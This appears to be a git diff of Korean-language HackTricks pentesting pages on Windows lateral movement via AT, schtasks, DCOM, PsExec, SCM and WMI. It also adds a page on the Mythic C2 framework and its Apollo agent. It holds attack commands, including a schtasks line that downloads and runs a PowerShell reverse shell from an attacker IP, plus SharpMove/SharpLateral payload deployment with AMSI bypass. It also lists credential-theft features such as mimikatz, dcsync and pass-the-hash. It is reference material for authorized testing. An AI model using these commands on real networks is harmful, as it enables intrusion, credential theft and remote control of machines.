At는 사용자 이름/(비밀번호/해시)를 알고 있는 호스트에서 작업을 예약할 수 있습니다. 따라서 이를 사용하여 다른 호스트에서 명령을 실행하고 출력을 얻을 수 있습니다.
At는 사용자 이름/(비밀번호/해시)를 알고 있는 호스트에서 작업을 예약할 수 있게 해줍니다. 따라서 이를 사용하여 다른 호스트에서 명령을 실행하고 출력을 얻을 수 있습니다.
```
At \\victim 11:00:00PM shutdown -r
```
@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
또한 [SharpLateral](https://github.com/mertdas/SharpLateral)을 사용할 수 있습니다:
**Impacket의 `atexec.py`**를 사용하여 AT 명령을 사용하여 원격 시스템에서 명령을 실행할 수 있습니다. 이는 대상 시스템에 대한 유효한 자격 증명(사용자 이름 및 비밀번호 또는 해시)이 필요합니다.
```bash
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
```
[SharpLateral](https://github.com/mertdas/SharpLateral)도 사용할 수 있습니다:
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
[SharpMove](https://github.com/0xthirteen/SharpMove)를 사용할 수 있습니다:
```bash
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
```
[**실버 티켓과 함께 schtasks 사용에 대한 더 많은 정보는 여기**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

43
src/windows-hardening/lateral-movement/dcom-exec.md → src/windows-hardening/lateral-movement/dcomexec.md
View File

@ -6,25 +6,25 @@
**이 기술에 대한 자세한 정보는 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)의 원본 게시물을 확인하세요.**
분산 구성 요소 개체 모델(DCOM) 개체는 개체와의 네트워크 기반 상호 작용을 위한 흥미로운 기능을 제공합니다. Microsoft는 DCOM 및 구성 요소 개체 모델(COM)에 대한 포괄적인 문서를 제공하며, DCOM에 대한 문서는 [여기](https://msdn.microsoft.com/en-us/library/cc226801.aspx)에서, COM에 대한 문서는 [여기](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>)에서 확인할 수 있습니다. DCOM 응용 프로그램 목록은 PowerShell 명령을 사용하여 검색할 수 있습니다:
Distributed Component Object Model (DCOM) 객체는 객체와의 네트워크 기반 상호작용을 위한 흥미로운 기능을 제공합니다. Microsoft는 DCOM 및 Component Object Model (COM)에 대한 포괄적인 문서를 제공하며, DCOM에 대한 문서는 [여기](https://msdn.microsoft.com/en-us/library/cc226801.aspx)에서, COM에 대한 문서는 [여기](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>)에서 확인할 수 있습니다. DCOM 애플리케이션 목록은 PowerShell 명령을 사용하여 검색할 수 있습니다:
```bash
Get-CimInstance Win32_DCOMApplication
```
COM 객체인 [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)는 MMC 스냅인 작업의 스크립팅을 가능하게 합니다. 특히, 이 객체는 `Document.ActiveView` 아래에 `ExecuteShellCommand` 메서드를 포함하고 있습니다. 이 메서드에 대한 더 많은 정보는 [여기](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>)에서 확인할 수 있습니다. 실행해 보세요:
이 기능은 DCOM 애플리케이션을 통해 네트워크에서 명령을 실행하는 것을 용이하게 합니다. 관리자로서 DCOM과 원격으로 상호작용하기 위해 PowerShell을 다음과 같이 사용할 수 있습니다:
```powershell
```bash
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
이 명령은 DCOM 애플리케이션에 연결하고 COM 객체의 인스턴스를 반환합니다. 그런 다음 ExecuteShellCommand 메서드를 호출하여 원격 호스트에서 프로세스를 실행할 수 있습니다. 이 프로세스는 다음 단계를 포함합니다:
이 명령은 DCOM 애플리케이션에 연결하고 COM 객체의 인스턴스를 반환합니다. 그 다음 ExecuteShellCommand 메서드를 호출하여 원격 호스트에서 프로세스를 실행할 수 있습니다. 이 프로세스는 다음 단계를 포함합니다:
Check methods:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
RCE 얻기:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -36,27 +36,32 @@ ls \\10.10.10.10\c$\Users
**이 기술에 대한 자세한 정보는 원본 게시물을 확인하세요 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
**MMC20.Application** 객체는 명시적인 "LaunchPermissions"가 부족하여 기본적으로 관리자가 접근할 수 있는 권한으로 설정되어 있습니다. 추가 세부정보는 [여기](https://twitter.com/tiraniddo/status/817532039771525120)에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 [@tiraniddo](https://twitter.com/tiraniddo)의 OleView .NET 사용이 권장됩니다.
**MMC20.Application** 객체는 명시적인 "LaunchPermissions"가 부족하여 기본적으로 관리자가 접근할 수 있는 권한으로 설정되어 있음을 확인했습니다. 추가 세부정보는 [여기](https://twitter.com/tiraniddo/status/817532039771525120)에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 [@tiraniddo](https://twitter.com/tiraniddo)의 OleView .NET 사용을 권장합니다.
명시적인 Launch Permissions가 부족한 두 개의 특정 객체인 `ShellBrowserWindow`와 `ShellWindows`가 강조되었습니다. `HKCR:\AppID\{guid}` 아래에 `LaunchPermission` 레지스트리 항목이 없다는 것은 명시적인 권한이 없음을 의미합니다.
### ShellWindows
ProgID가 없는 `ShellWindows`의 경우, .NET 메서드 `Type.GetTypeFromCLSID`와 `Activator.CreateInstance`를 사용하여 AppID를 통해 객체 인스턴스를 생성할 수 있습니다. 이 과정은 OleView .NET을 활용하여 `ShellWindows`의 CLSID를 검색합니다. 인스턴스화된 후에는 `WindowsShell.Item` 메서드를 통해 상호작용이 가능하며, `Document.Application.ShellExecute`와 같은 메서드 호출로 이어집니다.
`ShellWindows`는 ProgID가 없기 때문에 .NET 메서드 `Type.GetTypeFromCLSID`와 `Activator.CreateInstance`를 사용하여 AppID를 통해 객체 인스턴스를 생성할 수 있습니다. 이 과정은 OleView .NET을 활용하여 `ShellWindows`의 CLSID를 검색합니다. 인스턴스화된 후에는 `WindowsShell.Item` 메서드를 통해 상호작용이 가능하며, `Document.Application.ShellExecute`와 같은 메서드 호출로 이어집니다.
객체를 인스턴스화하고 원격으로 명령을 실행하기 위한 PowerShell 명령의 예가 제공되었습니다:
```powershell
```bash
# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
```
### Lateral Movement with Excel DCOM Objects
측면 이동은 DCOM Excel 객체를 이용하여 수행할 수 있습니다. 자세한 정보는 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)에서 DCOM을 통한 측면 이동을 위한 Excel DDE 활용에 대한 논의를 읽는 것이 좋습니다.
Lateral movement은 DCOM Excel 객체를 이용하여 달성할 수 있습니다. 자세한 정보는 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)에서 DCOM을 통한 lateral movement를 위한 Excel DDE 활용에 대한 논의를 읽는 것이 좋습니다.
Empire 프로젝트는 DCOM 객체를 조작하여 원격 코드 실행(RCE)을 위해 Excel을 활용하는 PowerShell 스크립트를 제공합니다. 아래는 [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)에서 제공되는 스크립트의 일부로, RCE를 위해 Excel을 악용하는 다양한 방법을 보여줍니다:
```powershell
```bash
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
@ -88,14 +93,26 @@ $Obj.DDEInitiate("cmd", "/c $Command")
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## 자동 도구
- [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Automatic Tools
- Powershell 스크립트 [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)는 다른 머신에서 코드를 실행하는 모든 주석 처리된 방법을 쉽게 호출할 수 있게 해줍니다.
- The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)는 다른 머신에서 코드를 실행하는 모든 주석 처리된 방법을 쉽게 호출할 수 있게 해줍니다.
- Impacket의 `dcomexec.py`를 사용하여 DCOM을 통해 원격 시스템에서 명령을 실행할 수 있습니다.
```bash
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
```
- [**SharpLateral**](https://github.com/mertdas/SharpLateral)도 사용할 수 있습니다:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## 참고문헌
- 또한 [**SharpMove**](https://github.com/0xthirteen/SharpMove)를 사용할 수 있습니다.
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## References
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
- [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)

23
src/windows-hardening/lateral-movement/psexec-and-winexec.md
View File

@ -1,4 +1,4 @@
# PsExec/Winexec/ScExec
# PsExec/Winexec/ScExec/SMBExec
{{#include ../../banners/hacktricks-training.md}}
@ -15,9 +15,10 @@
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하기 위해 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 이 페이로드는 'met8888.exe'라는 이름을 가지며, meterpreter reverse_http 페이로드를 나타냅니다. 다음 단계가 수행됩니다:
- **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 파일 시스템의 어디에나 배치되어 숨겨질 수 있습니다.
- **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 파일 시스템의 어디에나 배치하여 숨길 수 있습니다.
- 바이너리를 복사하는 대신 `powershell.exe` 또는 `cmd.exe`와 같은 LOLBAS 바이너리를 사용하여 인수에서 직접 명령을 실행할 수도 있습니다. 예: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **서비스 생성**: Windows `sc` 명령을 사용하여 원격으로 Windows 서비스를 쿼리, 생성 및 삭제할 수 있으며, 업로드된 바이너리를 가리키는 "meterpreter"라는 이름의 서비스가 생성됩니다.
- **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 않아 "시간 초과" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
- **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 않아 "time-out" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
Metasploit 리스너를 관찰하면 세션이 성공적으로 시작되었음을 알 수 있습니다.
@ -25,12 +26,24 @@ Metasploit 리스너를 관찰하면 세션이 성공적으로 시작되었음
자세한 단계는 다음에서 확인하세요: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Windows Sysinternals 바이너리 PsExec.exe를 사용할 수도 있습니다:**
- **Windows Sysinternals 바이너리 PsExec.exe**를 사용할 수도 있습니다:
![](<../../images/image (928).png>)
[**SharpLateral**](https://github.com/mertdas/SharpLateral)도 사용할 수 있습니다:
또는 webddav를 통해 접근할 수 있습니다:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
```
- 당신은 또한 [**SharpLateral**](https://github.com/mertdas/SharpLateral)를 사용할 수 있습니다:
```bash
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- 또한 [**SharpMove**](https://github.com/0xthirteen/SharpMove)를 사용할 수 있습니다:
```bash
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- **Impacket의 `psexec` 및 `smbexec.py`**를 사용할 수도 있습니다.
{{#include ../../banners/hacktricks-training.md}}

15
src/windows-hardening/lateral-movement/rdpexec.md Normal file
View File

@ -0,0 +1,15 @@
# RDPexec
{{#include ../../banners/hacktricks-training.md}}
## 작동 방식
**RDPexec**는 기본적으로 RDP를 사용하여 시스템에 로그인하고 명령을 실행하는 것입니다.
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../network-services-pentesting/pentesting-rdp.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

15
src/windows-hardening/lateral-movement/scmexec.md Normal file
View File

@ -0,0 +1,15 @@
# DCOM Exec
{{#include ../../banners/hacktricks-training.md}}
## SCM
**SCMExec**는 서비스 제어 관리자(SCM)를 사용하여 원격 시스템에서 명령을 실행하는 기술로, 명령을 실행하는 서비스를 생성합니다. 이 방법은 사용자 계정 컨트롤(UAC) 및 Windows Defender와 같은 일부 보안 제어를 우회할 수 있습니다.
## Tools
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
{{#include ../../banners/hacktricks-training.md}}

37
src/windows-hardening/lateral-movement/smbexec.md
View File

@ -1,37 +0,0 @@
# SmbExec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## 작동 방식
**Smbexec**는 Windows 시스템에서 원격 명령 실행에 사용되는 도구로, **Psexec**와 유사하지만 대상 시스템에 악성 파일을 배치하지 않습니다.
### **SMBExec**에 대한 주요 사항
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"), 이진 파일을 드롭하지 않습니다.
- 은밀한 접근 방식에도 불구하고, 실행된 각 명령에 대한 이벤트 로그를 생성하여 비대화형 "셸"의 형태를 제공합니다.
- **Smbexec**를 사용하여 연결하는 명령은 다음과 같습니다:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### 이진 파일 없이 명령 실행하기
- **Smbexec**는 서비스 binPaths를 통해 직접 명령을 실행할 수 있게 하여, 대상에 물리적 이진 파일이 필요 없도록 합니다.
- 이 방법은 Windows 대상에서 일회성 명령을 실행하는 데 유용합니다. 예를 들어, Metasploit의 `web_delivery` 모듈과 결합하면 PowerShell을 대상으로 하는 역 Meterpreter 페이로드를 실행할 수 있습니다.
- cmd.exe를 통해 제공된 명령을 실행하도록 binPath가 설정된 원격 서비스를 공격자의 머신에서 생성함으로써, 서비스 응답 오류가 발생하더라도 페이로드를 성공적으로 실행하고 Metasploit 리스너와의 콜백 및 페이로드 실행을 달성할 수 있습니다.
### 명령 예시
서비스를 생성하고 시작하는 것은 다음 명령으로 수행할 수 있습니다:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
자세한 내용은 [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)를 확인하세요.
## 참고문헌
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

38
src/windows-hardening/lateral-movement/wmiexec.md
View File

@ -31,7 +31,7 @@ gwmi -Namespace "root/microsoft" -List -Recurse
```
### **클래스**
WMI 클래스 이름, 예를 들어 win32_process, 및 해당 네임스페이스를 아는 것은 모든 WMI 작업에 중요합니다.
WMI 클래스 이름, 예를 들어 win32_process, 및 그것이 위치한 네임스페이스를 아는 것은 모든 WMI 작업에 중요합니다.
`win32`로 시작하는 클래스를 나열하는 명령:
```bash
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
@ -43,9 +43,9 @@ gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
```
### 방법
### Methods
WMI 클래스의 하나 이상의 실행 가능한 함수인 메서드는 실행될 수 있습니다.
Methods, which are one or more executable functions of WMI classes, can be executed.
```bash
# Class loading, method listing, and execution
$c = [wmiclass]"win32_share"
@ -85,26 +85,42 @@ wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
```
원격에서 WMI를 통해 특정 정보를 쿼리하는 것은, 예를 들어 로컬 관리자나 로그인한 사용자와 같은 정보는 신중한 명령 구성으로 가능하다.
원격에서 WMI를 통해 로컬 관리자나 로그인한 사용자와 같은 특정 정보를 쿼리하는 것은 신중한 명령 구성으로 가능합니다.
### **수동 원격 WMI 쿼리**
원격 머신에서 로컬 관리자와 로그인한 사용자를 은밀하게 식별하는 것은 특정 WMI 쿼리를 통해 달성할 수 있다. `wmic`는 또한 여러 노드에서 동시에 명령을 실행하기 위해 텍스트 파일에서 읽는 것을 지원한다.
원격 머신에서 로컬 관리자를 은밀하게 식별하고 로그인한 사용자를 확인하는 것은 특정 WMI 쿼리를 통해 달성할 수 있습니다. `wmic`는 여러 노드에서 동시에 명령을 실행하기 위해 텍스트 파일에서 읽는 것도 지원합니다.
WMI를 통해 프로세스를 원격으로 실행하기 위해, 예를 들어 Empire 에이전트를 배포하는 경우, 다음과 같은 명령 구조가 사용되며, 성공적인 실행은 "0"의 반환 값으로 표시된다:
WMI를 통해 프로세스를 원격으로 실행하기 위해, 예를 들어 Empire 에이전트를 배포하는 경우, 다음과 같은 명령 구조가 사용되며, 성공적인 실행은 "0"의 반환 값으로 표시됩니다:
```bash
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
```
이 프로세스는 원격 실행 및 시스템 열거를 위한 WMI의 기능을 보여주며, 시스템 관리 및 침투 테스트 모두에 대한 유용성을 강조합니다.
## References
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Automatic Tools
## 자동 도구
- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
```bash
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
```
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
```
- **Impacket의 `wmiexec`**를 사용할 수도 있습니다.
## References
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

165
src/windows-hardening/mythic.md Normal file
View File

@ -0,0 +1,165 @@
# Mythic
## What is Mythic?
Mythic은 레드 팀을 위해 설계된 오픈 소스 모듈형 명령 및 제어(C2) 프레임워크입니다. 보안 전문가가 Windows, Linux 및 macOS를 포함한 다양한 운영 체제에서 여러 에이전트(페이로드)를 관리하고 배포할 수 있도록 합니다. Mythic은 에이전트를 관리하고, 명령을 실행하며, 결과를 수집하기 위한 사용자 친화적인 웹 인터페이스를 제공하여 통제된 환경에서 실제 공격을 시뮬레이션하는 강력한 도구입니다.
### Installation
To install Mythic, follow the instructions on the official **[Mythic repo](https://github.com/its-a-feature/Mythic)**.
### Agents
Mythic은 **손상된 시스템에서 작업을 수행하는 페이로드**인 여러 에이전트를 지원합니다. 각 에이전트는 특정 요구 사항에 맞게 조정할 수 있으며, 다양한 운영 체제에서 실행될 수 있습니다.
기본적으로 Mythic에는 설치된 에이전트가 없습니다. 그러나 [**https://github.com/MythicAgents**](https://github.com/MythicAgents)에서 일부 오픈 소스 에이전트를 제공합니다.
To install an agent from that repo you just need to run:
```bash
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
```
새로운 에이전트를 이전 명령으로 추가할 수 있으며, Mythic이 이미 실행 중인 경우에도 가능합니다.
### C2 프로필
Mythic의 C2 프로필은 **에이전트가 Mythic 서버와 통신하는 방법**을 정의합니다. 이들은 통신 프로토콜, 암호화 방법 및 기타 설정을 지정합니다. Mythic 웹 인터페이스를 통해 C2 프로필을 생성하고 관리할 수 있습니다.
기본적으로 Mythic은 프로필 없이 설치되지만, 다음 명령을 실행하여 리포에서 일부 프로필을 다운로드할 수 있습니다: [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles)
```bash
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
Apollo는 SpecterOps 교육 제공을 위해 설계된 4.0 .NET Framework를 사용하여 C#로 작성된 Windows 에이전트입니다.
설치하려면:
```bash
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
```
이 에이전트는 Cobalt Strike의 Beacon과 매우 유사한 많은 명령어를 가지고 있으며 몇 가지 추가 기능이 있습니다. 그 중에서 지원하는 기능은 다음과 같습니다:
### 일반 작업
- `cat`: 파일의 내용을 출력합니다.
- `cd`: 현재 작업 디렉토리를 변경합니다.
- `cp`: 한 위치에서 다른 위치로 파일을 복사합니다.
- `ls`: 현재 디렉토리 또는 지정된 경로의 파일 및 디렉토리를 나열합니다.
- `pwd`: 현재 작업 디렉토리를 출력합니다.
- `ps`: 대상 시스템에서 실행 중인 프로세스를 나열합니다 (추가 정보 포함).
- `download`: 대상 시스템에서 로컬 머신으로 파일을 다운로드합니다.
- `upload`: 로컬 머신에서 대상 시스템으로 파일을 업로드합니다.
- `reg_query`: 대상 시스템의 레지스트리 키 및 값을 쿼리합니다.
- `reg_write_value`: 지정된 레지스트리 키에 새 값을 씁니다.
- `sleep`: 에이전트의 수면 간격을 변경하여 Mythic 서버와 얼마나 자주 체크인하는지를 결정합니다.
- 기타 여러 가지, 전체 명령어 목록을 보려면 `help`를 사용하세요.
### 권한 상승
- `getprivs`: 현재 스레드 토큰에서 가능한 많은 권한을 활성화합니다.
- `getsystem`: winlogon에 핸들을 열고 토큰을 복제하여 SYSTEM 수준으로 권한을 상승시킵니다.
- `make_token`: 새로운 로그온 세션을 생성하고 이를 에이전트에 적용하여 다른 사용자를 가장할 수 있게 합니다.
- `steal_token`: 다른 프로세스에서 기본 토큰을 훔쳐 에이전트가 해당 프로세스의 사용자를 가장할 수 있게 합니다.
- `pth`: Pass-the-Hash 공격으로, 에이전트가 평문 비밀번호 없이 NTLM 해시를 사용하여 사용자로 인증할 수 있게 합니다.
- `mimikatz`: Mimikatz 명령을 실행하여 메모리 또는 SAM 데이터베이스에서 자격 증명, 해시 및 기타 민감한 정보를 추출합니다.
- `rev2self`: 에이전트의 토큰을 기본 토큰으로 되돌려 원래 수준으로 권한을 낮춥니다.
- `ppid`: 새로운 부모 프로세스 ID를 지정하여 포스트 익스플로잇 작업의 부모 프로세스를 변경하여 작업 실행 컨텍스트에 대한 더 나은 제어를 가능하게 합니다.
- `printspoofer`: PrintSpoofer 명령을 실행하여 인쇄 스풀러 보안 조치를 우회하여 권한 상승 또는 코드 실행을 가능하게 합니다.
- `dcsync`: 사용자의 Kerberos 키를 로컬 머신으로 동기화하여 오프라인 비밀번호 크래킹 또는 추가 공격을 가능하게 합니다.
- `ticket_cache_add`: 현재 로그온 세션 또는 지정된 세션에 Kerberos 티켓을 추가하여 티켓 재사용 또는 가장을 가능하게 합니다.
### 프로세스 실행
- `assembly_inject`: 원격 프로세스에 .NET 어셈블리 로더를 주입할 수 있습니다.
- `execute_assembly`: 에이전트의 컨텍스트에서 .NET 어셈블리를 실행합니다.
- `execute_coff`: 메모리에서 COFF 파일을 실행하여 컴파일된 코드를 메모리에서 실행할 수 있게 합니다.
- `execute_pe`: 비관리 실행 파일(PE)을 실행합니다.
- `inline_assembly`: 일회용 AppDomain에서 .NET 어셈블리를 실행하여 에이전트의 주요 프로세스에 영향을 주지 않고 코드를 임시로 실행할 수 있게 합니다.
- `run`: 시스템의 PATH를 사용하여 대상 시스템에서 바이너리를 실행합니다.
- `shinject`: 원격 프로세스에 셸코드를 주입하여 임의의 코드를 메모리에서 실행할 수 있게 합니다.
- `inject`: 에이전트 셸코드를 원격 프로세스에 주입하여 에이전트의 코드를 메모리에서 실행할 수 있게 합니다.
- `spawn`: 지정된 실행 파일에서 새로운 에이전트 세션을 생성하여 새로운 프로세스에서 셸코드를 실행할 수 있게 합니다.
- `spawnto_x64` 및 `spawnto_x86`: 포스트 익스플로잇 작업에서 기본 바이너리를 `rundll32.exe` 대신 지정된 경로로 변경하여 소음이 적게 합니다.
### Mythic Forge
이 기능은 Mythic Forge에서 **COFF/BOF** 파일을 로드할 수 있게 하며, 이는 대상 시스템에서 실행할 수 있는 미리 컴파일된 페이로드 및 도구의 저장소입니다. 로드할 수 있는 모든 명령어로 인해 현재 에이전트 프로세스에서 BOF로 실행하여 일반 작업을 수행할 수 있게 됩니다 (보통 더 은밀하게).
설치를 시작하려면:
```bash
./mythic-cli install github https://github.com/MythicAgents/forge.git
```
그런 다음 `forge_collections`를 사용하여 Mythic Forge의 COFF/BOF 모듈을 표시하여 이를 선택하고 에이전트의 메모리에 로드하여 실행할 수 있습니다. 기본적으로 Apollo에 다음 2개의 컬렉션이 추가됩니다:
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
모듈이 하나 로드되면 `forge_bof_sa-whoami` 또는 `forge_bof_sa-netuser`와 같은 다른 명령으로 목록에 나타납니다.
### Powershell 및 스크립트 실행
- `powershell_import`: 새로운 PowerShell 스크립트(.ps1)를 에이전트 캐시에 가져와 나중에 실행할 수 있도록 합니다.
- `powershell`: 에이전트의 컨텍스트에서 PowerShell 명령을 실행하여 고급 스크립팅 및 자동화를 가능하게 합니다.
- `powerpick`: 희생 프로세스에 PowerShell 로더 어셈블리를 주입하고 PowerShell 명령을 실행합니다(파워셸 로깅 없이).
- `psinject`: 지정된 프로세스에서 PowerShell을 실행하여 다른 프로세스의 컨텍스트에서 스크립트를 타겟팅하여 실행할 수 있습니다.
- `shell`: 에이전트의 컨텍스트에서 셸 명령을 실행하며, cmd.exe에서 명령을 실행하는 것과 유사합니다.
### 측면 이동
- `jump_psexec`: PsExec 기술을 사용하여 Apollo 에이전트 실행 파일(apollo.exe)을 먼저 복사하고 실행하여 새로운 호스트로 측면 이동합니다.
- `jump_wmi`: WMI 기술을 사용하여 Apollo 에이전트 실행 파일(apollo.exe)을 먼저 복사하고 실행하여 새로운 호스트로 측면 이동합니다.
- `wmiexecute`: WMI를 사용하여 로컬 또는 지정된 원격 시스템에서 명령을 실행하며, 임시 사용을 위한 선택적 자격 증명을 제공합니다.
- `net_dclist`: 지정된 도메인에 대한 도메인 컨트롤러 목록을 검색하여 측면 이동을 위한 잠재적 대상을 식별하는 데 유용합니다.
- `net_localgroup`: 지정된 컴퓨터의 로컬 그룹을 나열하며, 컴퓨터가 지정되지 않은 경우 기본적으로 localhost로 설정됩니다.
- `net_localgroup_member`: 로컬 또는 원격 컴퓨터에서 지정된 그룹의 로컬 그룹 멤버십을 검색하여 특정 그룹의 사용자 열거를 가능하게 합니다.
